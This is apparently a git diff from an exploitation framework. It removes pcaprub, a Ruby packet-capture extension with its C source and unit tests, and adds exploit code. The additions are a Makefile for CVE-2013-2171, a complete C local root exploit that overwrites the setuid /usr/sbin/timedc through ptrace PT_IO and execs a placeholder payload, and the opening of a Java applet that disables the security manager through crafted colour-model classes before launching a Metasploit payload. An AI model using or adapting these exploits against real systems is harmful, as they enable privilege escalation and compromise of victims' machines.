#endif /* !HAVE_SOCKADDR_SA_LEN */
# if HAVE_GETIFADDRS
# include <ifaddrs.h>
# endif /* HAVE_GETIFADDRS */
# if !HAVE_GETIFADDRS && (!HAVE_SOCKET_IOCTLS || !HAVE_SIOCGIFCONF)
/* If the platform doesn't define, what we need, barf. If you're seeing this,
it means you need to write suitable code to retrieve interface information
on your system. */
# error You need to add code for your platform.
# endif
#else /* defined(WIN32) */
#include <windows.h>
#include <winsock2.h>
#include <iphlpapi.h>
#endif /* defined(WIN32) */
#ifndef TRUE
#define TRUE 1
#endif
#ifndef FALSE
#define FALSE 0
#endif
/* On systems without AF_LINK (Windows, for instance), define it anyway, but
give it a crazy value. On Linux, which has AF_PACKET but not AF_LINK,
define AF_LINK as the latter instead. */
#ifndef AF_LINK
# ifdef AF_PACKET
# define AF_LINK AF_PACKET
# else
# define AF_LINK -1000
# endif
# define HAVE_AF_LINK 0
#else
# define HAVE_AF_LINK 1
#endif
//Prototypes
//Get a list of the adresses for a network interface
VALUE rbnetifaces_s_addresses (VALUE class, VALUE dev);
//Get a list of the network interfaces
VALUE rbnetifaces_s_interfaces (VALUE self);
//This function is usefull only under windows to retrieve some additionnal interfaces informations
VALUE rbnetifaces_s_interface_info (VALUE self, VALUE dev);
-783
View File
@@ -1,783 +0,0 @@
#include "ruby.h"
#ifndef RUBY_19
#include "rubysig.h"
#endif
#include "netifaces.h"
#include <pcap.h>
#if !defined(WIN32)
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#endif
#if !defined(DLT_IEEE802_11_RADIO_AVS)
#define DLT_IEEE802_11_RADIO_AVS 163
#endif
#if !defined(DLT_LINUX_SLL)
#define DLT_LINUX_SLL 113
#endif
#if !defined(DLT_PRISM_HEADER)
#define DLT_PRISM_HEADER 119
#endif
#if !defined(DLT_AIRONET_HEADER)
#define DLT_AIRONET_HEADER 120
#endif
#if !defined(PCAP_NETMASK_UNKNOWN)
/*
* Value to pass to pcap_compile() as the netmask if you don't know what
* the netmask is.
*/
#define PCAP_NETMASK_UNKNOWN 0xffffffff
#endif
static VALUE rb_cPcap;
#define PCAPRUB_VERSION "0.9-dev"
#define OFFLINE 1
#define LIVE 2
typedef struct rbpcap {
pcap_t *pd;
pcap_dumper_t *pdt;
char iface[256];
char type;
} rbpcap_t;
typedef struct rbpcapjob {
struct pcap_pkthdr hdr;
unsigned char *pkt;
int wtf;
} rbpcapjob_t;
static VALUE
rbpcap_s_version(VALUE class)
{
return rb_str_new2(PCAPRUB_VERSION);
}
static VALUE
rbpcap_s_lookupdev(VALUE self)
{
char *dev = NULL;
char eb[PCAP_ERRBUF_SIZE];
VALUE ret_dev; /* device string to return */
#if defined(WIN32) /* pcap_lookupdev is broken on windows */
pcap_if_t *alldevs;
pcap_if_t *d;
/* Retrieve the device list from the local machine */
if (pcap_findalldevs(&alldevs,eb) == -1) {
rb_raise(rb_eRuntimeError,"%s",eb);
}
/* Find the first interface with an address and not loopback */
for(d = alldevs; d != NULL; d= d->next) {
if(d->name && d->addresses && !(d->flags & PCAP_IF_LOOPBACK)) {
dev=d->name;
break;
}
}
if (dev == NULL) {
rb_raise(rb_eRuntimeError,"%s","No valid interfaces found, Make sure WinPcap is installed.\n");
}
ret_dev = rb_str_new2(dev);
/* We don't need any more the device list. Free it */
pcap_freealldevs(alldevs);
#else
dev = pcap_lookupdev(eb);
if (dev == NULL) {
rb_raise(rb_eRuntimeError, "%s", eb);
}
ret_dev = rb_str_new2(dev);
#endif
return ret_dev;
}
static VALUE
rbpcap_s_lookupaddrs(VALUE self,VALUE dev)
{
char *ldev = NULL;
pcap_addr_t *addresses, *a = NULL;
char eb[PCAP_ERRBUF_SIZE];
VALUE ret_dev; /* device string to return */
pcap_if_t *alldevs;
pcap_if_t *d;
VALUE list;
/* Retrieve the device list from the local machine */
if (pcap_findalldevs(&alldevs,eb) == -1) {
rb_raise(rb_eRuntimeError,"%s",eb);
}
/* Find the first interface with an address and not loopback */
for(d = alldevs; d != NULL; d= d->next) {
if(strcmp(d->name,StringValuePtr(dev)) == 0 && d->addresses && !(d->flags & PCAP_IF_LOOPBACK)) {
ldev=d->name;
addresses=d->addresses;
break;
}
}
if (ldev == NULL) {
rb_raise(rb_eRuntimeError,"%s","No valid interfaces found.\n");
}
list = rb_ary_new();
for(a = addresses; a != NULL; a= a->next) {
switch(a->addr->sa_family)
{
case AF_INET:
if (a->addr)
rb_ary_push(list, rb_str_new2(inet_ntoa((((struct sockaddr_in *)a->addr)->sin_addr))));
break;
/* Don't like the __MINGW32__ comment for the moment need some testing ...
case AF_INET6:
#ifndef __MINGW32__ // Cygnus doesn't have IPv6
if (a->addr)
printf("\tAddress: %s\n", ip6tos(a->addr, ip6str, sizeof(ip6str)));
#endif
break;
*/
default:
break;
}
}
pcap_freealldevs(alldevs);
return(list);
}
static VALUE
rbpcap_s_lookupnet(VALUE self, VALUE dev)
{
bpf_u_int32 net, mask, m;
struct in_addr addr;
char eb[PCAP_ERRBUF_SIZE];
VALUE list;
Check_Type(dev, T_STRING);
if (pcap_lookupnet(StringValuePtr(dev), &net, &mask, eb) == -1) {
rb_raise(rb_eRuntimeError, "%s", eb);
}
addr.s_addr = net;
m = ntohl(mask);
list = rb_ary_new();
rb_ary_push(list, rb_str_new2((char *) inet_ntoa(addr)));
rb_ary_push(list, UINT2NUM(m));
return(list);
}
static int rbpcap_ready(rbpcap_t *rbp) {
if(! rbp->pd) {
rb_raise(rb_eArgError, "a device or pcap file must be opened first");
return 0;
}
return 1;
}
static void rbpcap_free(rbpcap_t *rbp) {
if (rbp->pd)
pcap_close(rbp->pd);
if (rbp->pdt)
pcap_dump_close(rbp->pdt);
rbp->pd = NULL;
rbp->pdt = NULL;
free(rbp);
}
static VALUE
rbpcap_new_s(VALUE class)
{
VALUE self;
rbpcap_t *rbp;
// need to make destructor do a pcap_close later
self = Data_Make_Struct(class, rbpcap_t, 0, rbpcap_free, rbp);
rb_obj_call_init(self, 0, 0);
memset(rbp, 0, sizeof(rbpcap_t));
return self;
}
static VALUE
rbpcap_setfilter(VALUE self, VALUE filter)
{
char eb[PCAP_ERRBUF_SIZE];
rbpcap_t *rbp;
u_int32_t mask = 0, netid = 0;
struct bpf_program bpf;
Data_Get_Struct(self, rbpcap_t, rbp);
if(TYPE(filter) != T_STRING)
rb_raise(rb_eArgError, "filter must be a string");
if(! rbpcap_ready(rbp)) return self;
if(rbp->type == LIVE)
if(pcap_lookupnet(rbp->iface, &netid, &mask, eb) < 0)
rb_raise(rb_eRuntimeError, "%s", eb);
if(pcap_compile(rbp->pd, &bpf, RSTRING_PTR(filter), 0, mask) < 0)
rb_raise(rb_eRuntimeError, "invalid bpf filter");
if(pcap_setfilter(rbp->pd, &bpf) < 0)
rb_raise(rb_eRuntimeError, "unable to set bpf filter");
return self;
}
static VALUE
rbpcap_open_live(VALUE self, VALUE iface,VALUE snaplen,VALUE promisc, VALUE timeout)
{
char eb[PCAP_ERRBUF_SIZE];
rbpcap_t *rbp;
int promisc_value = 0;
if(TYPE(iface) != T_STRING)
rb_raise(rb_eArgError, "interface must be a string");
if(TYPE(snaplen) != T_FIXNUM)
rb_raise(rb_eArgError, "snaplen must be a fixnum");
if(TYPE(timeout) != T_FIXNUM)
rb_raise(rb_eArgError, "timeout must be a fixnum");
switch(promisc) {
case Qtrue:
promisc_value = 1;
break;
case Qfalse:
promisc_value = 0;
break;
default:
rb_raise(rb_eTypeError, "Argument not boolean");
}
Data_Get_Struct(self, rbpcap_t, rbp);
rbp->type = LIVE;
memset(rbp->iface, 0, sizeof(rbp->iface));
strncpy(rbp->iface, RSTRING_PTR(iface), sizeof(rbp->iface) - 1);
if(rbp->pd) {
pcap_close(rbp->pd);
}
rbp->pd = pcap_open_live(
RSTRING_PTR(iface),
NUM2INT(snaplen),
promisc_value,
NUM2INT(timeout),
eb
);
if(!rbp->pd)
rb_raise(rb_eRuntimeError, "%s", eb);
return self;
}
static VALUE
rbpcap_open_live_s(VALUE class, VALUE iface, VALUE snaplen, VALUE promisc, VALUE timeout)
{
VALUE iPcap = rb_funcall(rb_cPcap, rb_intern("new"), 0);
return rbpcap_open_live(iPcap, iface, snaplen, promisc, timeout);
}
static VALUE
rbpcap_open_offline(VALUE self, VALUE filename)
{
char eb[PCAP_ERRBUF_SIZE];
rbpcap_t *rbp;
if(TYPE(filename) != T_STRING)
rb_raise(rb_eArgError, "filename must be a string");
Data_Get_Struct(self, rbpcap_t, rbp);
memset(rbp->iface, 0, sizeof(rbp->iface));
rbp->type = OFFLINE;
rbp->pd = pcap_open_offline(
RSTRING_PTR(filename),
eb
);
if(!rbp->pd)
rb_raise(rb_eRuntimeError, "%s", eb);
return self;
}
static VALUE
rbpcap_open_offline_s(VALUE class, VALUE filename)
{
VALUE iPcap = rb_funcall(rb_cPcap, rb_intern("new"), 0);
return rbpcap_open_offline(iPcap, filename);
}
static VALUE
rbpcap_open_dead(VALUE self, VALUE linktype, VALUE snaplen)
{
rbpcap_t *rbp;
if(TYPE(linktype) != T_FIXNUM)
rb_raise(rb_eArgError, "linktype must be a fixnum");
if(TYPE(snaplen) != T_FIXNUM)
rb_raise(rb_eArgError, "snaplen must be a fixnum");
Data_Get_Struct(self, rbpcap_t, rbp);
memset(rbp->iface, 0, sizeof(rbp->iface));
rbp->type = OFFLINE;
rbp->pd = pcap_open_dead(
NUM2INT(linktype),
NUM2INT(snaplen)
);
return self;
}
static VALUE
rbpcap_open_dead_s(VALUE class, VALUE linktype, VALUE snaplen)
{
VALUE iPcap = rb_funcall(rb_cPcap, rb_intern("new"), 0);
return rbpcap_open_dead(iPcap, linktype, snaplen);
}
static VALUE
rbpcap_dump_open(VALUE self, VALUE filename)
{
rbpcap_t *rbp;
if(TYPE(filename) != T_STRING)
rb_raise(rb_eArgError, "filename must be a string");
Data_Get_Struct(self, rbpcap_t, rbp);
rbp->pdt = pcap_dump_open(
rbp->pd,
RSTRING_PTR(filename)
);
return self;
}
//not sure if this deviates too much from the way the rest of this class works?
static VALUE
rbpcap_dump(VALUE self, VALUE caplen, VALUE pktlen, VALUE packet)
{
rbpcap_t *rbp;
struct pcap_pkthdr pcap_hdr;
if(TYPE(packet) != T_STRING)
rb_raise(rb_eArgError, "packet data must be a string");
if(TYPE(caplen) != T_FIXNUM)
rb_raise(rb_eArgError, "caplen must be a fixnum");
if(TYPE(pktlen) != T_FIXNUM)
rb_raise(rb_eArgError, "pktlen must be a fixnum");
Data_Get_Struct(self, rbpcap_t, rbp);
gettimeofday(&pcap_hdr.ts, NULL);
pcap_hdr.caplen = NUM2UINT(caplen);
pcap_hdr.len = NUM2UINT(pktlen);
pcap_dump(
(u_char*)rbp->pdt,
&pcap_hdr,
(unsigned char *)RSTRING_PTR(packet)
);
return self;
}
static VALUE
rbpcap_inject(VALUE self, VALUE payload)
{
rbpcap_t *rbp;
if(TYPE(payload) != T_STRING)
rb_raise(rb_eArgError, "payload must be a string");
Data_Get_Struct(self, rbpcap_t, rbp);
if(! rbpcap_ready(rbp)) return self;
#if defined(WIN32)
/* WinPcap does not have a pcap_inject call we use pcap_sendpacket, if it suceedes
* we simply return the amount of packets request to inject, else we fail.
*/
if(pcap_sendpacket(rbp->pd, RSTRING_PTR(payload), RSTRING_LEN(payload)) != 0) {
rb_raise(rb_eRuntimeError, "%s", pcap_geterr(rbp->pd));
}
return INT2NUM(RSTRING_LEN(payload));
#else
return INT2NUM(pcap_inject(rbp->pd, RSTRING_PTR(payload), RSTRING_LEN(payload)));
#endif
}
static void rbpcap_handler(rbpcapjob_t *job, struct pcap_pkthdr *hdr, u_char *pkt){
job->pkt = (unsigned char *)pkt;
job->hdr = *hdr;
}
static VALUE
rbpcap_next(VALUE self)
{
rbpcap_t *rbp;
rbpcapjob_t job;
char eb[PCAP_ERRBUF_SIZE];
int ret;
Data_Get_Struct(self, rbpcap_t, rbp);
if(! rbpcap_ready(rbp)) return self;
pcap_setnonblock(rbp->pd, 1, eb);
#ifndef RUBY_19
TRAP_BEG;
#endif
ret = pcap_dispatch(rbp->pd, 1, (pcap_handler) rbpcap_handler, (u_char *)&job);
#ifndef RUBY_19
TRAP_END;
#endif
if(rbp->type == OFFLINE && ret <= 0) return Qnil;
if(ret > 0 && job.hdr.caplen > 0)
return rb_str_new((char *) job.pkt, job.hdr.caplen);
return Qnil;
}
static VALUE
rbpcap_capture(VALUE self)
{
rbpcap_t *rbp;
int fno = -1;
Data_Get_Struct(self, rbpcap_t, rbp);
if(! rbpcap_ready(rbp)) return self;
#if !defined(WIN32)
fno = pcap_get_selectable_fd(rbp->pd);
#else
fno = pcap_fileno(rbp->pd);
#endif
for(;;) {
VALUE packet = rbpcap_next(self);
if(packet == Qnil && rbp->type == OFFLINE) break;
packet == Qnil ? rb_thread_wait_fd(fno) : rb_yield(packet);
}
return self;
}
static VALUE
rbpcap_datalink(VALUE self)
{
rbpcap_t *rbp;
Data_Get_Struct(self, rbpcap_t, rbp);
if(! rbpcap_ready(rbp)) return self;
return INT2NUM(pcap_datalink(rbp->pd));
}
static VALUE
rbpcap_snapshot(VALUE self)
{
rbpcap_t *rbp;
Data_Get_Struct(self, rbpcap_t, rbp);
if(! rbpcap_ready(rbp)) return self;
return INT2NUM(pcap_snapshot(rbp->pd));
}
static VALUE
rbpcap_stats(VALUE self)
{
rbpcap_t *rbp;
struct pcap_stat stat;
VALUE hash;
Data_Get_Struct(self, rbpcap_t, rbp);
if(! rbpcap_ready(rbp)) return self;
if (pcap_stats(rbp->pd, &stat) == -1)
return Qnil;
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("recv"), UINT2NUM(stat.ps_recv));
rb_hash_aset(hash, rb_str_new2("drop"), UINT2NUM(stat.ps_drop));
rb_hash_aset(hash, rb_str_new2("idrop"), UINT2NUM(stat.ps_ifdrop));
return hash;
}
void
Init_pcaprub()
{
// Pcap
rb_cPcap = rb_define_class("Pcap", rb_cObject);
rb_define_module_function(rb_cPcap, "version", rbpcap_s_version, 0);
rb_define_module_function(rb_cPcap, "lookupdev", rbpcap_s_lookupdev, 0);
rb_define_module_function(rb_cPcap, "lookupnet", rbpcap_s_lookupnet, 1);
rb_define_module_function(rb_cPcap, "lookupaddrs", rbpcap_s_lookupaddrs, 1);
rb_define_const(rb_cPcap, "DLT_NULL", INT2NUM(DLT_NULL));
rb_define_const(rb_cPcap, "DLT_EN10MB", INT2NUM(DLT_EN10MB));
rb_define_const(rb_cPcap, "DLT_EN3MB", INT2NUM(DLT_EN3MB));
rb_define_const(rb_cPcap, "DLT_AX25", INT2NUM(DLT_AX25));
rb_define_const(rb_cPcap, "DLT_PRONET", INT2NUM(DLT_PRONET));
rb_define_const(rb_cPcap, "DLT_CHAOS", INT2NUM(DLT_CHAOS));
rb_define_const(rb_cPcap, "DLT_IEEE802", INT2NUM(DLT_IEEE802));
rb_define_const(rb_cPcap, "DLT_ARCNET", INT2NUM(DLT_ARCNET));
rb_define_const(rb_cPcap, "DLT_SLIP", INT2NUM(DLT_SLIP));
rb_define_const(rb_cPcap, "DLT_PPP", INT2NUM(DLT_PPP));
rb_define_const(rb_cPcap, "DLT_FDDI", INT2NUM(DLT_FDDI));
rb_define_const(rb_cPcap, "DLT_ATM_RFC1483", INT2NUM(DLT_ATM_RFC1483));
rb_define_const(rb_cPcap, "DLT_RAW", INT2NUM(DLT_RAW));
rb_define_const(rb_cPcap, "DLT_SLIP_BSDOS", INT2NUM(DLT_SLIP_BSDOS));
rb_define_const(rb_cPcap, "DLT_PPP_BSDOS", INT2NUM(DLT_PPP_BSDOS));
rb_define_const(rb_cPcap, "DLT_IEEE802_11", INT2NUM(DLT_IEEE802_11));
rb_define_const(rb_cPcap, "DLT_IEEE802_11_RADIO", INT2NUM(DLT_IEEE802_11_RADIO));
rb_define_const(rb_cPcap, "DLT_IEEE802_11_RADIO_AVS", INT2NUM(DLT_IEEE802_11_RADIO_AVS));
rb_define_const(rb_cPcap, "DLT_LINUX_SLL", INT2NUM(DLT_LINUX_SLL));
rb_define_const(rb_cPcap, "DLT_PRISM_HEADER", INT2NUM(DLT_PRISM_HEADER));
rb_define_const(rb_cPcap, "DLT_AIRONET_HEADER", INT2NUM(DLT_AIRONET_HEADER));
rb_define_singleton_method(rb_cPcap, "new", rbpcap_new_s, 0);
rb_define_singleton_method(rb_cPcap, "open_live", rbpcap_open_live_s, 4);
rb_define_singleton_method(rb_cPcap, "open_offline", rbpcap_open_offline_s, 1);
rb_define_singleton_method(rb_cPcap, "open_dead", rbpcap_open_dead_s, 2);
rb_define_singleton_method(rb_cPcap, "dump_open", rbpcap_dump_open, 1);
rb_define_method(rb_cPcap, "dump", rbpcap_dump, 3);
rb_define_method(rb_cPcap, "each", rbpcap_capture, 0);
rb_define_method(rb_cPcap, "next", rbpcap_next, 0);
rb_define_method(rb_cPcap, "setfilter", rbpcap_setfilter, 1);
rb_define_method(rb_cPcap, "inject", rbpcap_inject, 1);
rb_define_method(rb_cPcap, "datalink", rbpcap_datalink, 0);
rb_define_method(rb_cPcap, "snapshot", rbpcap_snapshot, 0);
rb_define_method(rb_cPcap, "snaplen", rbpcap_snapshot, 0);
rb_define_method(rb_cPcap, "stats", rbpcap_stats, 0);
//Netifaces
rb_define_module_function(rb_cPcap, "interfaces", rbnetifaces_s_interfaces, 0);
rb_define_module_function(rb_cPcap, "addresses", rbnetifaces_s_addresses, 1);
rb_define_module_function(rb_cPcap, "interface_info", rbnetifaces_s_interface_info, 1);
//constants
// Address families (auto-detect using #ifdef)
#ifdef AF_INET
rb_define_const(rb_cPcap, "AF_INET", INT2NUM(AF_INET));
#endif
#ifdef AF_INET6
rb_define_const(rb_cPcap, "AF_INET6", INT2NUM(AF_INET6));
#endif
#ifdef AF_UNSPEC
rb_define_const(rb_cPcap, "AF_UNSPEC", INT2NUM(AF_UNSPEC));
#endif
#ifdef AF_UNIX
rb_define_const(rb_cPcap, "AF_UNIX", INT2NUM(AF_UNIX));
#endif
#ifdef AF_FILE
rb_define_const(rb_cPcap, "AF_FILE", INT2NUM(AF_FILE));
#endif
#ifdef AF_AX25
rb_define_const(rb_cPcap, "AF_AX25", INT2NUM(AF_AX25));
#endif
#ifdef AF_IMPLINK
rb_define_const(rb_cPcap, "AF_IMPLINK", INT2NUM(AF_IMPLINK));
#endif
#ifdef AF_PUP
rb_define_const(rb_cPcap, "AF_PUP", INT2NUM(AF_PUP));
#endif
#ifdef AF_CHAOS
rb_define_const(rb_cPcap, "AF_CHAOS", INT2NUM(AF_CHAOS));
#endif
#ifdef AF_NS
rb_define_const(rb_cPcap, "AF_NS", INT2NUM(AF_NS));
#endif
#ifdef AF_ISO
rb_define_const(rb_cPcap, "AF_ISO", INT2NUM(AF_ISO));
#endif
#ifdef AF_ECMA
rb_define_const(rb_cPcap, "AF_ECMA", INT2NUM(AF_ECMA));
#endif
#ifdef AF_DATAKIT
rb_define_const(rb_cPcap, "AF_DATAKIT", INT2NUM(AF_DATAKIT));
#endif
#ifdef AF_CCITT
rb_define_const(rb_cPcap, "AF_CCITT", INT2NUM(AF_CCITT));
#endif
#ifdef AF_SNA
rb_define_const(rb_cPcap, "AF_SNA", INT2NUM(AF_SNA));
#endif
#ifdef AF_DECnet
rb_define_const(rb_cPcap, "AF_DECnet", INT2NUM(AF_DECnet));
#endif
#ifdef AF_DLI
rb_define_const(rb_cPcap, "AF_DLI", INT2NUM(AF_DLI));
#endif
#ifdef AF_LAT
rb_define_const(rb_cPcap, "AF_LAT", INT2NUM(AF_LAT));
#endif
#ifdef AF_HYLINK
rb_define_const(rb_cPcap, "AF_HYLINK", INT2NUM(AF_HYLINK));
#endif
#ifdef AF_APPLETALK
rb_define_const(rb_cPcap, "AF_APPLETALK", INT2NUM(AF_APPLETALK));
#endif
#ifdef AF_ROUTE
rb_define_const(rb_cPcap, "AF_ROUTE", INT2NUM(AF_ROUTE));
#endif
#ifdef AF_LINK
rb_define_const(rb_cPcap, "AF_LINK", INT2NUM(AF_LINK));
#endif
#ifdef AF_PACKET
rb_define_const(rb_cPcap, "AF_PACKET", INT2NUM(AF_PACKET));
#endif
#ifdef AF_COIP
rb_define_const(rb_cPcap, "AF_COIP", INT2NUM(AF_COIP));
#endif
#ifdef AF_CNT
rb_define_const(rb_cPcap, "AF_CNT", INT2NUM(AF_CNT));
#endif
#ifdef AF_IPX
rb_define_const(rb_cPcap, "AF_IPX", INT2NUM(AF_IPX));
#endif
#ifdef AF_SIP
rb_define_const(rb_cPcap, "AF_SIP", INT2NUM(AF_SIP));
#endif
#ifdef AF_NDRV
rb_define_const(rb_cPcap, "AF_NDRV", INT2NUM(AF_NDRV));
#endif
#ifdef AF_ISDN
rb_define_const(rb_cPcap, "AF_ISDN", INT2NUM(AF_ISDN));
#endif
#ifdef AF_NATM
rb_define_const(rb_cPcap, "AF_NATM", INT2NUM(AF_NATM));
#endif
#ifdef AF_SYSTEM
rb_define_const(rb_cPcap, "AF_SYSTEM", INT2NUM(AF_SYSTEM));
#endif
#ifdef AF_NETBIOS
rb_define_const(rb_cPcap, "AF_NETBIOS", INT2NUM(AF_NETBIOS));
#endif
#ifdef AF_NETBEUI
rb_define_const(rb_cPcap, "AF_NETBEUI", INT2NUM(AF_NETBEUI));
#endif
#ifdef AF_PPP
rb_define_const(rb_cPcap, "AF_PPP", INT2NUM(AF_PPP));
#endif
#ifdef AF_ATM
rb_define_const(rb_cPcap, "AF_ATM", INT2NUM(AF_ATM));
#endif
#ifdef AF_ATMPVC
rb_define_const(rb_cPcap, "AF_ATMPVC", INT2NUM(AF_ATMPVC));
#endif
#ifdef AF_ATMSVC
rb_define_const(rb_cPcap, "AF_ATMSVC", INT2NUM(AF_ATMSVC));
#endif
#ifdef AF_NETGRAPH
rb_define_const(rb_cPcap, "AF_NETGRAPH", INT2NUM(AF_NETGRAPH));
#endif
#ifdef AF_VOICEVIEW
rb_define_const(rb_cPcap, "AF_VOICEVIEW", INT2NUM(AF_VOICEVIEW));
#endif
#ifdef AF_FIREFOX
rb_define_const(rb_cPcap, "AF_FIREFOX", INT2NUM(AF_FIREFOX));
#endif
#ifdef AF_UNKNOWN1
rb_define_const(rb_cPcap, "AF_UNKNOWN1", INT2NUM(AF_UNKNOWN1));
#endif
#ifdef AF_BAN
rb_define_const(rb_cPcap, "AF_BAN", INT2NUM(AF_BAN));
#endif
#ifdef AF_CLUSTER
rb_define_const(rb_cPcap, "AF_CLUSTER", INT2NUM(AF_CLUSTER));
#endif
#ifdef AF_12844
rb_define_const(rb_cPcap, "AF_12844", INT2NUM(AF_12844));
#endif
#ifdef AF_IRDA
rb_define_const(rb_cPcap, "AF_IRDA", INT2NUM(AF_IRDA));
#endif
#ifdef AF_NETDES
rb_define_const(rb_cPcap, "AF_NETDES", INT2NUM(AF_NETDES));
#endif
#ifdef AF_NETROM
rb_define_const(rb_cPcap, "AF_NETROM", INT2NUM(AF_NETROM));
#endif
#ifdef AF_BRIDGE
rb_define_const(rb_cPcap, "AF_BRIDGE", INT2NUM(AF_BRIDGE));
#endif
#ifdef AF_X25
rb_define_const(rb_cPcap, "AF_X25", INT2NUM(AF_X25));
#endif
#ifdef AF_ROSE
rb_define_const(rb_cPcap, "AF_ROSE", INT2NUM(AF_ROSE));
#endif
#ifdef AF_SECURITY
rb_define_const(rb_cPcap, "AF_SECURITY", INT2NUM(AF_SECURITY));
#endif
#ifdef AF_KEY
rb_define_const(rb_cPcap, "AF_KEY", INT2NUM(AF_KEY));
#endif
#ifdef AF_NETLINK
rb_define_const(rb_cPcap, "AF_NETLINK", INT2NUM(AF_NETLINK));
#endif
#ifdef AF_ASH
rb_define_const(rb_cPcap, "AF_ASH", INT2NUM(AF_ASH));
#endif
#ifdef AF_ECONET
rb_define_const(rb_cPcap, "AF_ECONET", INT2NUM(AF_ECONET));
#endif
#ifdef AF_PPPOX
rb_define_const(rb_cPcap, "AF_PPPOX", INT2NUM(AF_PPPOX));
#endif
#ifdef AF_WANPIPE
rb_define_const(rb_cPcap, "AF_WANPIPE", INT2NUM(AF_WANPIPE));
#endif
#ifdef AF_BLUETOOTH
rb_define_const(rb_cPcap, "AF_BLUETOOTH", INT2NUM(AF_BLUETOOTH));
#endif
}
-125
View File
@@ -1,125 +0,0 @@
#!/usr/bin/ruby
base = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
$:.unshift(File.join(File.dirname(base)))
require 'test/unit'
require 'pcaprub'
#
# Simple unit test, requires r00t.
#
class Pcap::UnitTest < Test::Unit::TestCase
def test_version
assert_equal(String, Pcap.version.class)
puts "Pcaprub version: #{Pcap.version}"
end
def test_lookupdev
assert_equal(String, Pcap.lookupdev.class)
puts "Pcaprub default device: #{Pcap.lookupdev}"
end
def test_lookupnet
dev = Pcap.lookupdev
assert_equal(Array, Pcap.lookupnet(dev).class)
net = Pcap.lookupnet(dev)
puts "Pcaprub net (#{dev}): #{net[0]} #{[net[1]].pack("N").unpack("H*")[0]}"
end
def test_pcap_new
o = Pcap.new
assert_equal(Pcap, o.class)
end
def test_pcap_setfilter_bad
e = nil
o = Pcap.new
begin
o.setfilter("not ip")
rescue ::Exception => e
end
assert_equal(e.class, ArgumentError)
end
def test_pcap_setfilter
d = Pcap.lookupdev
o = Pcap.open_live(d, 65535, true, 1)
r = o.setfilter("not ip")
assert_equal(Pcap, r.class)
end
def test_pcap_inject
d = Pcap.lookupdev
o = Pcap.open_live(d, 65535, true, 1)
r = o.inject("X" * 512)
assert_equal(512, r)
end
def test_pcap_datalink
d = Pcap.lookupdev
o = Pcap.open_live(d, 65535, true, 1)
r = o.datalink
assert_equal(Fixnum, r.class)
end
def test_pcap_snapshot
d = Pcap.lookupdev
o = Pcap.open_live(d, 1344, true, 1)
r = o.snapshot
assert_equal(1344, r)
end
def test_pcap_stats
d = Pcap.lookupdev
o = Pcap.open_live(d, 1344, true, 1)
r = o.stats
assert_equal(Hash, r.class)
end
def test_pcap_next
d = Pcap.lookupdev
o = Pcap.open_live(d, 1344, true, 1)
@c = 0
t = Thread.new { while(true); @c += 1; select(nil, nil, nil, 0.10); end; }
require 'timeout'
begin
Timeout.timeout(10) do
o.each do |pkt|
end
end
rescue ::Timeout::Error
end
t.kill
puts "Background thread ticked #{@c} times while capture was running"
true
end
def test_netifaces_constants
puts "AF_LINK Value is #{Pcap::AF_LINK}"
puts "AF_INET Value is #{Pcap::AF_INET}"
puts "AF_INET6 Value is #{Pcap::AF_INET6}" if Pcap.const_defined?(:AF_INET6)
end
def test_netifaces_functions
Pcap.interfaces.sort.each do |iface|
puts "#{iface} :"
Pcap.addresses(iface).sort.each do |family,values|
puts "\t#{family} :"
values.each do |val|
puts "\t\taddr : #{val['addr']}" if val.has_key?("addr")
puts "\t\tnetmask : #{val['netmask']}" if val.has_key?("netmask")
puts "\t\tbroadcast : #{val['broadcast']}" if val.has_key?("broadcast")
puts "\n"
end
end
end
end
end
+2
View File
@@ -0,0 +1,2 @@
all: exploit.c
gcc exploit.c -o ../../../../data/exploits/CVE-2013-2171.bin
+54
View File
@@ -0,0 +1,54 @@
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#define TG "/usr/sbin/timedc"
/*
This is based on Hunger's PoC
*/
int main(int ac, char **av) {
int from_fd, to_fd, status;
struct stat st;
struct ptrace_io_desc piod;
char *s, *d;
int pid;
char *bin = "MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"; // is just a place holder
if (geteuid() == 0) {
setuid(0);
execl(bin, bin, NULL);
return 0;
}
from_fd = open(av[0], O_RDONLY);
to_fd = open(TG, O_RDONLY);
if ( from_fd == -1 || to_fd == -1 ) return 0;
if (stat(av[0], &st) == -1) return 0;
s = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED, from_fd, (off_t)0);
d = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0);
if (s == MAP_FAILED || d == MAP_FAILED) return 0;
if ((pid = fork()) == -1) return 0;
if (!pid) {
if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1) return 0;
}
if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) return 0;
if (wait(&status) == -1) return 0;
piod.piod_op = PIOD_WRITE_D;
piod.piod_offs = d;
piod.piod_addr = s;
piod.piod_len = st.st_size;
if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1) return 0;
execl(TG, TG, NULL);
return 0;
}
+197
View File
@@ -0,0 +1,197 @@
import java.awt.image.*;
import java.awt.color.*;
import java.beans.Statement;
import java.security.*;
import metasploit.Payload;
import java.applet.Applet;
public class Exploit extends Applet {
public void init() {
try {
// try several attempts to exploit
for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){
//System.out.println("Attempt #" + i);
tryExpl();
}
// check results
if (System.getSecurityManager() == null) {
// execute payload
//Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");
Payload.main(null);
}
} catch (Exception ex) {
//ex.printStackTrace();
}
}
public static String toHex(int i)
{
return Integer.toHexString(i);
}
private boolean _is64 = System.getProperty("os.arch","").contains("64");
// we will need ColorSpace which returns 1 from getNumComponents()
class MyColorSpace extends ICC_ColorSpace
{
public MyColorSpace()
{
super(ICC_Profile.getInstance(ColorSpace.CS_sRGB));
}
// override getNumComponents
public int getNumComponents()
{
int res = 1;
return res;
}
}
// we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true.
class MyColorModel extends ComponentColorModel
{
public MyColorModel()
{
super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE);
}
// override isCompatibleRaster
